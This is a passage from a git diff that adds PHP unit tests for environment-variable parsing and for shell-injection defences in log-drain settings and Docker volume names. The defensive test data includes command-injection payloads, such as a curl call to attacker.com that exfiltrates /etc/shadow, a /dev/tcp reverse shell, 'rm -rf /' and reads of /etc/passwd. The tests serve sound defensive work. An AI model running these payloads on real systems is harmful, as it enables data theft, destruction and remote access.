($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBe('comment1'); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY4') { + expect($value)->toBe('value4'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles empty array values gracefully', function () { + // Simulate edge case with incomplete array structure + $variables = [ + 'KEY1' => ['value' => 'value1'], // Missing 'comment' key + 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case) + 'KEY3' => [], // Empty array (edge case) + ]; + + // Test the extraction logic with improved fallback + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction doesn't crash + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + // If 'value' is missing, fallback to empty string (not the whole array) + expect($value)->toBe(''); + expect($comment)->toBe('comment2'); + } elseif ($key === 'KEY3') { + // If both are missing, fallback to empty string (not empty array) + expect($value)->toBe(''); + expect($comment)->toBeNull(); + } + } +}); diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php new file mode 100644 index 000000000..5beef1a4b --- /dev/null +++ b/tests/Unit/LogDrainCommandInjectionTest.php @@ -0,0 +1,118 @@ +/tmp/pwned)'; + + $server = mock(Server::class)->makePartial(); + $settings = mock(ServerSetting::class)->makePartial(); + + $settings->is_logdrain_axiom_enabled = true; + $settings->is_logdrain_newrelic_enabled = false; + $settings->is_logdrain_highlight_enabled = false; + $settings->is_logdrain_custom_enabled = false; + $settings->logdrain_axiom_dataset_name = 'test-dataset'; + $settings->logdrain_axiom_api_key = $maliciousPayload; + + $server->name = 'test-server'; + $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + + // Build the env content the same way StartLogDrain does after the fix + $envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n"; + $envEncoded = base64_encode($envContent); + + // The malicious payload must NOT appear directly in the encoded string + // (it's inside the base64 blob, which the shell treats as opaque data) + expect($envEncoded)->not->toContain($maliciousPayload); + + // Verify the decoded content preserves the value exactly + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}"); +}); + +it('does not interpolate newrelic license key into shell commands', function () { + $maliciousPayload = '`rm -rf /`'; + + $envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); + + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}"); +}); + +it('does not interpolate highlight project id into shell commands', function () { + $maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))'; + + $envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); +}); + +it('produces correct env file content for axiom type', function () { + $datasetName = 'my-dataset'; + $apiKey = 'xaat-abc123-def456'; + + $envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n"); +}); + +it('produces correct env file content for newrelic type', function () { + $licenseKey = 'nr-license-123'; + $baseUri = 'https://log-api.newrelic.com/log/v1'; + + $envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n"); +}); + +// ------------------------------------------------------------------------- +// Validation layer: reject shell metacharacters +// ------------------------------------------------------------------------- + +it('rejects shell metacharacters in log drain fields', function (string $payload) { + // These payloads should NOT match the safe regex pattern + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $payload))->toBe(0); +})->with([ + '$(id)', + '`id`', + 'key;rm -rf /', + 'key|cat /etc/passwd', + 'key && whoami', + 'key$(curl evil.com)', + "key\nnewline", + 'key with spaces', + 'key>file', + 'key/tmp/coolify_poc_logdrain)', +]); + +it('accepts valid log drain field values', function (string $value) { + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $value))->toBe(1); +})->with([ + 'xaat-abc123-def456', + 'my-dataset', + 'my_dataset', + 'simple123', + 'nr-license.key_v2', + 'project-id-123', +]); diff --git a/tests/Unit/NestedEnvironmentVariableParsingTest.php b/tests/Unit/NestedEnvironmentVariableParsingTest.php new file mode 100644 index 000000000..b98f49dd7 --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableParsingTest.php @@ -0,0 +1,253 @@ +not->toBeNull() + ->and($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split)->not->toBeNull() + ->and($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables correctly extracts nested variable content', function () { + // Before the fix, this would incorrectly extract only up to the first closing brace + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + // Should extract the full content, not just "${API_URL:-${SERVICE_URL_YOLO" + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result->value())->not->toBe('API_URL:-${SERVICE_URL_YOLO'); // Not truncated +}); + +test('nested defaults with path concatenation work', function () { + $input = '${REDIS_URL:-${SERVICE_URL_REDIS}/db/0}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('REDIS_URL') + ->and($split['default'])->toBe('${SERVICE_URL_REDIS}/db/0'); +}); + +test('deeply nested variables are handled', function () { + // Three levels of nesting + $input = '${A:-${B:-${C}}}'; + + $result = extractBalancedBraceContent($input, 0); + + expect($result['content'])->toBe('A:-${B:-${C}}'); + + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('A') + ->and($split['default'])->toBe('${B:-${C}}'); +}); + +test('multiple nested variables in default value', function () { + // Default value contains multiple variable references + $input = '${API:-${SERVICE_URL}:${SERVICE_PORT}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API') + ->and($split['default'])->toBe('${SERVICE_URL}:${SERVICE_PORT}/api'); +}); + +test('nested variables with different operators', function () { + // Nested variable uses different operator + $input = '${API_URL:-${SERVICE_URL?error message}/api}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL?error message}/api'); +}); + +test('backward compatibility with simple variables', function () { + // Simple variable without nesting should still work + $input = '${VAR}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR'); +}); + +test('backward compatibility with single-level defaults', function () { + // Single-level default without nesting + $input = '${VAR:-default_value}'; + + $result = replaceVariables($input); + + expect($result->value())->toBe('VAR:-default_value'); + + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['variable'])->toBe('VAR') + ->and($split['default'])->toBe('default_value'); +}); + +test('backward compatibility with dash operator', function () { + $input = '${VAR-default}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('-'); +}); + +test('backward compatibility with colon question operator', function () { + $input = '${VAR:?error message}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('backward compatibility with question operator', function () { + $input = '${VAR?error}'; + + $result = replaceVariables($input); + $split = splitOnOperatorOutsideNested($result->value()); + + expect($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('SERVICE_URL magic variables in nested defaults', function () { + // Real-world scenario: SERVICE_URL_* magic variable used in nested default + $input = '${DATABASE_URL:-${SERVICE_URL_POSTGRES}/mydb}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['variable'])->toBe('DATABASE_URL') + ->and($split['default'])->toBe('${SERVICE_URL_POSTGRES}/mydb'); + + // Extract the nested SERVICE_URL variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_URL_POSTGRES'); +}); + +test('SERVICE_FQDN magic variables in nested defaults', function () { + $input = '${API_HOST:-${SERVICE_FQDN_API}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_FQDN_API}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + + expect($nestedResult['content'])->toBe('SERVICE_FQDN_API'); +}); + +test('complex real-world example', function () { + // Complex real-world scenario from the bug report + $input = '${API_URL:-${SERVICE_URL_YOLO}/api}'; + + // Step 1: Extract outer variable content + $result = extractBalancedBraceContent($input, 0); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); + + // Step 2: Split on operator + $split = splitOnOperatorOutsideNested($result['content']); + expect($split['variable'])->toBe('API_URL'); + expect($split['operator'])->toBe(':-'); + expect($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); + + // Step 3: Extract nested variable + $nestedResult = extractBalancedBraceContent($split['default'], 0); + expect($nestedResult['content'])->toBe('SERVICE_URL_YOLO'); + + // This verifies that: + // 1. API_URL should be created with value "${SERVICE_URL_YOLO}/api" + // 2. SERVICE_URL_YOLO should be recognized and created as magic variable +}); + +test('empty nested default values', function () { + $input = '${VAR:-${NESTED:-}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${NESTED:-}'); + + $nestedResult = extractBalancedBraceContent($split['default'], 0); + $nestedSplit = splitOnOperatorOutsideNested($nestedResult['content']); + + expect($nestedSplit['default'])->toBe(''); +}); + +test('nested variables with complex paths', function () { + $input = '${CONFIG_URL:-${SERVICE_URL_CONFIG}/v2/config.json}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json'); +}); + +test('replaceVariables strips leading dollar sign from bare $VAR format', function () { + // Bug #8851: When a compose value is $SERVICE_USER_POSTGRES (bare $VAR, no braces), + // replaceVariables must strip the $ so the parsed name is SERVICE_USER_POSTGRES. + // Without this, the fallback code path creates a DB entry with key=$SERVICE_USER_POSTGRES. + expect(replaceVariables('$SERVICE_USER_POSTGRES')->value())->toBe('SERVICE_USER_POSTGRES') + ->and(replaceVariables('$SERVICE_PASSWORD_POSTGRES')->value())->toBe('SERVICE_PASSWORD_POSTGRES') + ->and(replaceVariables('$SERVICE_FQDN_APPWRITE')->value())->toBe('SERVICE_FQDN_APPWRITE'); +}); + +test('bare dollar variable in bash-style fallback does not capture trailing brace', function () { + // Bug #8851: ${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE} causes the regex to + // capture "SERVICE_FQDN_APPWRITE}" (with trailing }) because \}? in the regex + // greedily matches the closing brace of the outer ${...} construct. + // The fix uses capture group 2 (clean variable name) instead of group 1. + $value = '${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE}'; + + $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; + preg_match_all($regex, $value, $valueMatches); + + // Group 2 should contain clean variable names without any braces + expect($valueMatches[2])->toContain('_APP_DOMAIN') + ->and($valueMatches[2])->toContain('SERVICE_FQDN_APPWRITE'); + + // Verify no match in group 2 has trailing } + foreach ($valueMatches[2] as $match) { + expect($match)->not->toEndWith('}', "Variable name '{$match}' should not end with }"); + } + + // Group 1 (previously used) would have the bug — SERVICE_FQDN_APPWRITE} + // This demonstrates why group 2 must be used instead + expect($valueMatches[1])->toContain('SERVICE_FQDN_APPWRITE}'); +}); + +test('operator precedence with nesting', function () { + // The first :- at depth 0 should be used, not the one inside nested braces + $input = '${A:-${B:-default}}'; + + $result = extractBalancedBraceContent($input, 0); + $split = splitOnOperatorOutsideNested($result['content']); + + // Should split on first :- (at depth 0) + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); // Not split here +}); diff --git a/tests/Unit/NestedEnvironmentVariableTest.php b/tests/Unit/NestedEnvironmentVariableTest.php new file mode 100644 index 000000000..81b440927 --- /dev/null +++ b/tests/Unit/NestedEnvironmentVariableTest.php @@ -0,0 +1,207 @@ +toBe('VAR') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(5); +}); + +test('extractBalancedBraceContent handles nested braces', function () { + $result = extractBalancedBraceContent('${API_URL:-${SERVICE_URL_YOLO}/api}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API_URL:-${SERVICE_URL_YOLO}/api') + ->and($result['start'])->toBe(1) + ->and($result['end'])->toBe(34); // Position of closing } +}); + +test('extractBalancedBraceContent handles triple nesting', function () { + $result = extractBalancedBraceContent('${A:-${B:-${C}}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('A:-${B:-${C}}'); +}); + +test('extractBalancedBraceContent returns null for unbalanced braces', function () { + $result = extractBalancedBraceContent('${VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent returns null when no braces', function () { + $result = extractBalancedBraceContent('VAR', 0); + + assertNull($result); +}); + +test('extractBalancedBraceContent handles startPos parameter', function () { + $result = extractBalancedBraceContent('foo ${VAR} bar', 4); + + assertNotNull($result); + expect($result['content'])->toBe('VAR') + ->and($result['start'])->toBe(5) + ->and($result['end'])->toBe(9); +}); + +test('splitOnOperatorOutsideNested splits on :- operator', function () { + $split = splitOnOperatorOutsideNested('API_URL:-default_value'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('default_value'); +}); + +test('splitOnOperatorOutsideNested handles nested defaults', function () { + $split = splitOnOperatorOutsideNested('API_URL:-${SERVICE_URL_YOLO}/api'); + + assertNotNull($split); + expect($split['variable'])->toBe('API_URL') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL_YOLO}/api'); +}); + +test('splitOnOperatorOutsideNested handles dash operator', function () { + $split = splitOnOperatorOutsideNested('VAR-default'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('-') + ->and($split['default'])->toBe('default'); +}); + +test('splitOnOperatorOutsideNested handles colon question operator', function () { + $split = splitOnOperatorOutsideNested('VAR:?error message'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':?') + ->and($split['default'])->toBe('error message'); +}); + +test('splitOnOperatorOutsideNested handles question operator', function () { + $split = splitOnOperatorOutsideNested('VAR?error'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe('?') + ->and($split['default'])->toBe('error'); +}); + +test('splitOnOperatorOutsideNested returns null for simple variable', function () { + $split = splitOnOperatorOutsideNested('SIMPLE_VAR'); + + assertNull($split); +}); + +test('splitOnOperatorOutsideNested ignores operators inside nested braces', function () { + $split = splitOnOperatorOutsideNested('A:-${B:-default}'); + + assertNotNull($split); + // Should split on first :- (outside nested braces), not the one inside ${B:-default} + expect($split['variable'])->toBe('A') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${B:-default}'); +}); + +test('replaceVariables handles simple variable', function () { + $result = replaceVariables('${VAR}'); + + expect($result->value())->toBe('VAR'); +}); + +test('replaceVariables handles nested expressions', function () { + $result = replaceVariables('${API_URL:-${SERVICE_URL_YOLO}/api}'); + + expect($result->value())->toBe('API_URL:-${SERVICE_URL_YOLO}/api'); +}); + +test('replaceVariables handles variable with default', function () { + $result = replaceVariables('${API_URL:-http://localhost}'); + + expect($result->value())->toBe('API_URL:-http://localhost'); +}); + +test('replaceVariables returns unchanged for non-variable string', function () { + $result = replaceVariables('not_a_variable'); + + expect($result->value())->toBe('not_a_variable'); +}); + +test('replaceVariables handles triple nesting', function () { + $result = replaceVariables('${A:-${B:-${C}}}'); + + expect($result->value())->toBe('A:-${B:-${C}}'); +}); + +test('replaceVariables fallback works for malformed input', function () { + // When braces are unbalanced, it falls back to old behavior + $result = replaceVariables('${VAR'); + + // Old behavior would extract everything before first } + // But since there's no }, it will extract 'VAR' (removing ${) + expect($result->value())->toContain('VAR'); +}); + +test('extractBalancedBraceContent handles complex nested expression', function () { + $result = extractBalancedBraceContent('${API:-${SERVICE_URL}/api/v${VERSION:-1}}', 0); + + assertNotNull($result); + expect($result['content'])->toBe('API:-${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('splitOnOperatorOutsideNested handles complex nested expression', function () { + $split = splitOnOperatorOutsideNested('API:-${SERVICE_URL}/api/v${VERSION:-1}'); + + assertNotNull($split); + expect($split['variable'])->toBe('API') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe('${SERVICE_URL}/api/v${VERSION:-1}'); +}); + +test('extractBalancedBraceContent finds second variable in string', function () { + $str = '${VAR1} and ${VAR2}'; + + // First variable + $result1 = extractBalancedBraceContent($str, 0); + assertNotNull($result1); + expect($result1['content'])->toBe('VAR1'); + + // Second variable + $result2 = extractBalancedBraceContent($str, $result1['end'] + 1); + assertNotNull($result2); + expect($result2['content'])->toBe('VAR2'); +}); + +test('replaceVariables handles empty default value', function () { + $result = replaceVariables('${VAR:-}'); + + expect($result->value())->toBe('VAR:-'); +}); + +test('splitOnOperatorOutsideNested handles empty default value', function () { + $split = splitOnOperatorOutsideNested('VAR:-'); + + assertNotNull($split); + expect($split['variable'])->toBe('VAR') + ->and($split['operator'])->toBe(':-') + ->and($split['default'])->toBe(''); +}); + +test('replaceVariables handles brace format without dollar sign', function () { + // This format is used by the regex capture group in magic variable detection + $result = replaceVariables('{SERVICE_URL_YOLO}'); + expect($result->value())->toBe('SERVICE_URL_YOLO'); +}); + +test('replaceVariables handles truncated brace format', function () { + // When regex captures {VAR from a larger expression, no closing brace + $result = replaceVariables('{API_URL'); + expect($result->value())->toBe('API_URL'); +}); diff --git a/tests/Unit/ParseEnvFormatToArrayTest.php b/tests/Unit/ParseEnvFormatToArrayTest.php new file mode 100644 index 000000000..303ff007d --- /dev/null +++ b/tests/Unit/ParseEnvFormatToArrayTest.php @@ -0,0 +1,248 @@ +toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments from unquoted values', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'NIXPACKS_NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + 'NODE_VERSION' => ['value' => '22', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips inline comments only when preceded by whitespace', function () { + $input = "KEY1=value1#nocomment\nKEY2=value2 #comment\nKEY3=value3 # comment with spaces"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#nocomment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment'], + 'KEY3' => ['value' => 'value3', 'comment' => 'comment with spaces'], + ]); +}); + +test('parseEnvFormatToArray preserves # in quoted values', function () { + $input = "KEY1=\"value with # hash\"\nKEY2='another # hash'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with # hash', 'comment' => null], + 'KEY2' => ['value' => 'another # hash', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles quoted values correctly', function () { + $input = "KEY1=\"quoted value\"\nKEY2='single quoted'"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'quoted value', 'comment' => null], + 'KEY2' => ['value' => 'single quoted', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips comment lines', function () { + $input = "# This is a comment\nKEY1=value1\n# Another comment\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray skips empty lines', function () { + $input = "KEY1=value1\n\nKEY2=value2\n\n"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles values with equals signs', function () { + $input = 'KEY1=value=with=equals'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value=with=equals', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles empty values', function () { + $input = "KEY1=\nKEY2=value"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles complex real-world example', function () { + $input = <<<'ENV' +# Database Configuration +DB_HOST=localhost +DB_PORT=5432 #default postgres port +DB_NAME="my_database" +DB_PASSWORD='p@ssw0rd#123' + +# API Keys +API_KEY=abc123 # Production key +SECRET_KEY=xyz789 +ENV; + + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DB_HOST' => ['value' => 'localhost', 'comment' => null], + 'DB_PORT' => ['value' => '5432', 'comment' => 'default postgres port'], + 'DB_NAME' => ['value' => 'my_database', 'comment' => null], + 'DB_PASSWORD' => ['value' => 'p@ssw0rd#123', 'comment' => null], + 'API_KEY' => ['value' => 'abc123', 'comment' => 'Production key'], + 'SECRET_KEY' => ['value' => 'xyz789', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles the original bug scenario', function () { + $input = "NIXPACKS_NODE_VERSION=22 #needed for now\nNODE_VERSION=22"; + $result = parseEnvFormatToArray($input); + + // The value should be "22", not "22 #needed for now" + expect($result['NIXPACKS_NODE_VERSION']['value'])->toBe('22'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('#'); + expect($result['NIXPACKS_NODE_VERSION']['value'])->not->toContain('needed'); + // And the comment should be extracted + expect($result['NIXPACKS_NODE_VERSION']['comment'])->toBe('needed for now'); +}); + +test('parseEnvFormatToArray handles quoted strings with spaces before hash', function () { + $input = "KEY1=\"value with spaces\" #comment\nKEY2=\"another value\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value with spaces', 'comment' => 'comment'], + 'KEY2' => ['value' => 'another value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray handles unquoted values with multiple hash symbols', function () { + $input = "KEY1=value1#not#comment\nKEY2=value2 # comment # with # hashes"; + $result = parseEnvFormatToArray($input); + + // KEY1: no space before #, so entire value is kept + // KEY2: space before first #, so everything from first space+# is stripped + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1#not#comment', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment # with # hashes'], + ]); +}); + +test('parseEnvFormatToArray handles quoted values containing hash symbols at various positions', function () { + $input = "KEY1=\"#starts with hash\"\nKEY2=\"hash # in middle\"\nKEY3=\"ends with hash#\""; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => '#starts with hash', 'comment' => null], + 'KEY2' => ['value' => 'hash # in middle', 'comment' => null], + 'KEY3' => ['value' => 'ends with hash#', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray trims whitespace before comments', function () { + $input = "KEY1=value1 #comment\nKEY2=value2\t#comment with tab"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment'], + 'KEY2' => ['value' => 'value2', 'comment' => 'comment with tab'], + ]); + // Values should not have trailing spaces + expect($result['KEY1']['value'])->not->toEndWith(' '); + expect($result['KEY2']['value'])->not->toEndWith("\t"); +}); + +test('parseEnvFormatToArray preserves hash in passwords without spaces', function () { + $input = "PASSWORD=pass#word123\nAPI_KEY=abc#def#ghi"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'pass#word123', 'comment' => null], + 'API_KEY' => ['value' => 'abc#def#ghi', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray strips comments with space before hash', function () { + $input = "PASSWORD=passw0rd #this is secure\nNODE_VERSION=22 #needed for now"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'PASSWORD' => ['value' => 'passw0rd', 'comment' => 'this is secure'], + 'NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'], + ]); +}); + +test('parseEnvFormatToArray extracts comments from quoted values followed by comments', function () { + $input = "KEY1=\"value\" #comment after quote\nKEY2='value' #another comment"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => 'comment after quote'], + 'KEY2' => ['value' => 'value', 'comment' => 'another comment'], + ]); +}); + +test('parseEnvFormatToArray handles empty comments', function () { + $input = "KEY1=value #\nKEY2=value # "; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value', 'comment' => null], + 'KEY2' => ['value' => 'value', 'comment' => null], + ]); +}); + +test('parseEnvFormatToArray extracts multi-word comments', function () { + $input = 'DATABASE_URL=postgres://localhost #this is the database connection string for production'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'DATABASE_URL' => ['value' => 'postgres://localhost', 'comment' => 'this is the database connection string for production'], + ]); +}); + +test('parseEnvFormatToArray handles mixed quoted and unquoted with comments', function () { + $input = "UNQUOTED=value1 #comment1\nDOUBLE=\"value2\" #comment2\nSINGLE='value3' #comment3"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'UNQUOTED' => ['value' => 'value1', 'comment' => 'comment1'], + 'DOUBLE' => ['value' => 'value2', 'comment' => 'comment2'], + 'SINGLE' => ['value' => 'value3', 'comment' => 'comment3'], + ]); +}); + +test('parseEnvFormatToArray handles the user reported case ASD=asd #asdfgg', function () { + $input = 'ASD=asd #asdfgg'; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'ASD' => ['value' => 'asd', 'comment' => 'asdfgg'], + ]); + + // Specifically verify the comment is extracted + expect($result['ASD']['value'])->toBe('asd'); + expect($result['ASD']['comment'])->toBe('asdfgg'); + expect($result['ASD']['comment'])->not->toBeNull(); +}); diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php new file mode 100644 index 000000000..fdce223d3 --- /dev/null +++ b/tests/Unit/PersistentVolumeSecurityTest.php @@ -0,0 +1,98 @@ +toBe(1); +})->with([ + 'simple name' => 'myvolume', + 'with hyphens' => 'my-volume', + 'with underscores' => 'my_volume', + 'with dots' => 'my.volume', + 'with uuid prefix' => 'abc123-postgres-data', + 'numeric start' => '1volume', + 'complex name' => 'app123-my_service.data-v2', +]); + +it('rejects volume names with shell metacharacters', function (string $name) { + expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0); +})->with([ + 'semicolon injection' => 'vol; rm -rf /', + 'pipe injection' => 'vol | cat /etc/passwd', + 'ampersand injection' => 'vol && whoami', + 'backtick injection' => 'vol`id`', + 'dollar command substitution' => 'vol$(whoami)', + 'redirect injection' => 'vol > /tmp/evil', + 'space in name' => 'my volume', + 'slash in name' => 'my/volume', + 'newline injection' => "vol\nwhoami", + 'starts with hyphen' => '-volume', + 'starts with dot' => '.volume', +]); + +// --- escapeshellarg Defense Tests --- + +it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) { + $command = 'docker volume rm -f '.escapeshellarg($maliciousName); + + // The command should contain the name as a single quoted argument, + // preventing shell interpretation of metacharacters + expect($command)->not->toContain('; ') + ->not->toContain('| ') + ->not->toContain('&& ') + ->not->toContain('`') + ->toStartWith('docker volume rm -f '); +})->with([ + 'semicolon' => 'vol; rm -rf /', + 'pipe' => 'vol | cat /etc/passwd', + 'ampersand' => 'vol && whoami', + 'backtick' => 'vol`id`', + 'command substitution' => 'vol$(whoami)', + 'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', +]); + +// --- volumeNameRules Tests --- + +it('generates volumeNameRules with correct defaults', function () { + $rules = ValidationPatterns::volumeNameRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN); +}); + +it('generates nullable volumeNameRules when not required', function () { + $rules = ValidationPatterns::volumeNameRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('generates correct volumeNameMessages', function () { + $messages = ValidationPatterns::volumeNameMessages(); + + expect($messages)->toHaveKey('name.regex'); +}); + +it('generates volumeNameMessages with custom field name', function () { + $messages = ValidationPatterns::volumeNameMessages('volume_name'); + + expect($messages)->toHaveKey('volume_name.regex'); +}); diff --git 